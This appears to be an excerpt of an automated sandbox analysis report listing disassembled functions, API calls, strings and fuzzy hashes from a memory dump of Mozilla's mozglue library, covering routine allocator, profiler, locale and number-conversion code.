moz_xmalloc.MOZGLUE(FFFE15E2,?,6C99483A,?), ref: 6C954B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C99483A,?), ref: 6C954B2C

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: c836c6404b59a98b96fd366800bf56677edf28e9e2258f747483ae3a99bfd716
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: 9E716AB19007469FCB94CF68C490AAAB7F5FF18308B504A3EE15A9BF41E731E565CB81

Function 6C9A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9A8273), ref: 6C9A9D65
free.MOZGLUE(6C9A8273,?), ref: 6C9A9D7C
free.MOZGLUE(?,?), ref: 6C9A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9A9E0F
free.MOZGLUE(6C9A946B,?,?), ref: 6C9A9E24
free.MOZGLUE(?,?,?), ref: 6C9A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9A9EC8
free.MOZGLUE(6C9A946B,?,?,?), ref: 6C9A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9A9EF5

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction ID: cc66e0434c47908e726fe05c1e405c7b9c056a102bd7088a109864a2d0e3a87c
Opcode Fuzzy Hash: ea87678850254c977f1749df3b1565b7a4f658cbc270e975dbc3f1d92ae8ce37
Instruction Fuzzy Hash: 6271C0B090AB419BD712CF58C48055BF3F4FFA9315B558619E84A5BB02EB31E8C6CB91

Function 6C9ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9ADDCF

Part of subcall function 6C98FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C98FA4B

Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A90FF
Part of subcall function 6C9A90E0: free.MOZGLUE(?,00000000,?,?,6C9ADEDB), ref: 6C9A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE0D
free.MOZGLUE(00000000), ref: 6C9ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF32

Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADB86
Part of subcall function 6C9ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C99DEFD,?,6C964A68), ref: 6C9ADF65
free.MOZGLUE(?), ref: 6C9ADF80

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction ID: 07a09c6d8a3f1bb89c0f9a03b58a6716fb9ee755bcb51460da20ac7cc5e3b0ad
Opcode Fuzzy Hash: 02ac4593aad7038780de6ae4d8bb78bda0d6a179f01ddf464bcc15fa01e07d48
Instruction Fuzzy Hash: E751C8736056119BD7219B98C8806AFB376BFA5308FA5051CDC5A63B00D731F95BCB92

Function 6C9B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5DC9
std::_Facet_Register.LIBCPMT ref: 6C9B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9B5C8C,?,6C98E829), ref: 6C9B5E45

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction ID: 986482af42913d889fa8551e66f2f1c07d4f3915cc1bd64038be01e92479de3a
Opcode Fuzzy Hash: 6cdb6995b18dd274a150c42f0f20349e94a623352bb42e798adf628be66697aa
Instruction Fuzzy Hash: 6441A270704304AFDB00DFA5C898AAE77BAEF9D314F144168E50AAB791DB30ED45CB61

Function 6C98CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9531A7), ref: 6C98CDDD

Strings

<jemalloc>, xrefs: 6C98CF9F, 6C98CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C98CFA4, 6C98CFB8

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction ID: 5a446591d9664db63465df0601bcf780b2761a0262ced7f2eb7ce6c0ce538875
Opcode Fuzzy Hash: d4d94462557eb4c16de0f024706ee42737e2311de7f3f47aa71b0c93b0f13eda
Instruction Fuzzy Hash: FB31A5317466055BFB00AFA98C45BAE7B79BB41B54F304A18F614FBA80DB70E8508BA1

Function 6C95ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C95ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C95EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C95EDCC
CreateFileW.KERNEL32 ref: 6C95EE08
free.MOZGLUE(00000000), ref: 6C95EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C95EE32

Part of subcall function 6C95EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C95EBB5
Part of subcall function 6C95EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C98D7F3), ref: 6C95EBC3
Part of subcall function 6C95EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C98D7F3), ref: 6C95EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C95EDC1

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction ID: f8fcefda8028ca5365f535d4d4c7275449c6d16ec69aea3a88e6b11d8aaeb7d5
Opcode Fuzzy Hash: 82b52c9950e8b00268f52e43ebc1fca5abfa2a2c2ed291c31e56b6cce89361fc
Instruction Fuzzy Hash: 1E51E471E053048BDB01DF68D8446EEB7B4AF69318F84842DE85577780E736E998C7E2

Function 6C9CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA565

Part of subcall function 6C9CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9CA4BE
Part of subcall function 6C9CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9CA6B6

Strings

z, xrefs: 6C9CA6AE
0, xrefs: 6C9CA5FB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction ID: 39c2075a9108b021f6ccd9e90dc490614a935261fe4c86eba3e5406684d4ba8f
Opcode Fuzzy Hash: 63754fb347472aa17635b7d9c80de5ab71e51f668a522b9ecf7f57ce7d98b1fb
Instruction Fuzzy Hash: E1411571A097459FC341DF28C480A9EBBE5BF99354F408A2EF49987650EB30E649CB83

Function 6C9578C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9D008B), ref: 6C957B89
free.MOZGLUE(?,6C9D008B), ref: 6C957BAC

Part of subcall function 6C9578C0: free.MOZGLUE(?,6C9D008B), ref: 6C957BCF

free.MOZGLUE(?,6C9D008B), ref: 6C957BF2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction ID: 5c69b13714031e60bac5e4748cd1f4d6f840b54876e96ee0871369d76e72af8e
Opcode Fuzzy Hash: c97dce9f88387437935dbfea9f53d543657e2f8a2f1422a251793a417184a63e
Instruction Fuzzy Hash: BFC1D571E111288BEB24CB28CC90BADB772AF51314F9583A9D41AABBC0C731DF958F51

Function 6C999420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
__Init_thread_footer.LIBCMT ref: 6C99949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C99947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C99946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C999459

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction ID: 0060e0053e48fd227103280c745b42c4851acb221d50019b609d9371d7c825ba
Opcode Fuzzy Hash: 6b31bef862b1b3e34069b05751cd7b6a49fd42028fce8d7da1d07288b4c00fa5
Instruction Fuzzy Hash: 24014C30A049008BDF009B5CD806A4933B99B4673EF1A8537DC0EA7B51D731F5E48957

Function 6C9A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9A0F88
GetCurrentThreadId.KERNEL32 ref: 6C9A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9A114B

Part of subcall function 6C998AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9B1563), ref: 6C998BD5

free.MOZGLUE(?), ref: 6C9A1174
free.MOZGLUE(?), ref: 6C9A1186

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction ID: 648c00c2e434485eead290350164773a41767400858ae7ae70d9d001ba757811
Opcode Fuzzy Hash: 462acd296da7f4db0e065d7a0398a44a1d8b4bfcb795dbb4eb983d3cab5ba282
Instruction Fuzzy Hash: EB61C0756087409BDB10CF65C88079AB7F5BFE6308F14891DE88957711EB31E59ACB82

Function 6C95B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6AC

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C95B61E), ref: 6C95B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C95B61E,?,?,?,?,?,00000000), ref: 6C95B79A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction ID: b516a2354dfa021fb43a24e7c9b1a939dac2c0a3959cf5535051a4fa64861aff
Opcode Fuzzy Hash: b50c49a22703ef48f9547e91819f0578a03f93acfd9323d28725a1d177805fb5
Instruction Fuzzy Hash: A441B4B2D001159FCB04DF68DC905AEBBB9BF54324F650629E825E7B80E731E9148BE2

Function 6C95EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9D5104), ref: 6C95EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C95EFEC
free.MOZGLUE(?), ref: 6C95F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C95F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C95F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C95F065
moz_xmalloc.MOZGLUE ref: 6C95F072

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction ID: 146f2bb342db8a7aa6bd0efe71a3012a5e293157081bace1c5bacf8673975fb6
Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
